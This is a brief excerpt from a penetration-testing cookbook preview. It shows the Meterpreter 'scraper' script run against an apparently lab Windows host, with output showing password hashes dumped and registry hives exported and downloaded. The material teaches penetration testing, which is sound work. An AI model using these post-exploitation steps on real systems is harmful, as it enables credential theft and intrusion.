How to do it...

The script does everything automatically after it is executed. It creates a directory under /root/.msf4/logs/scripts/scraper/, where all of the files are saved:

meterpreter > run scraper[*] New session on 192.168.216.10:445...[*] Gathering basic system information...[*] Dumping password hashes...[*] Obtaining the entire registry...[*] Exporting HKCU[*] Downloading HKCU ...(C:\Users\vagrant\AppData\Local\Temp\2\wBrggefl.reg)[*] Cleaning HKCR[*] Exporting HKU[*] Downloading HKU (C:\Users\vagrant\AppData\Local\Temp\2\FTmZDWyo.reg)[*] Cleaning HKU[*] Completed processing on 192.168.216.10:445...

The script automatically downloads and saves the information in the destination folder. Let's take a look at the source code to analyze ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.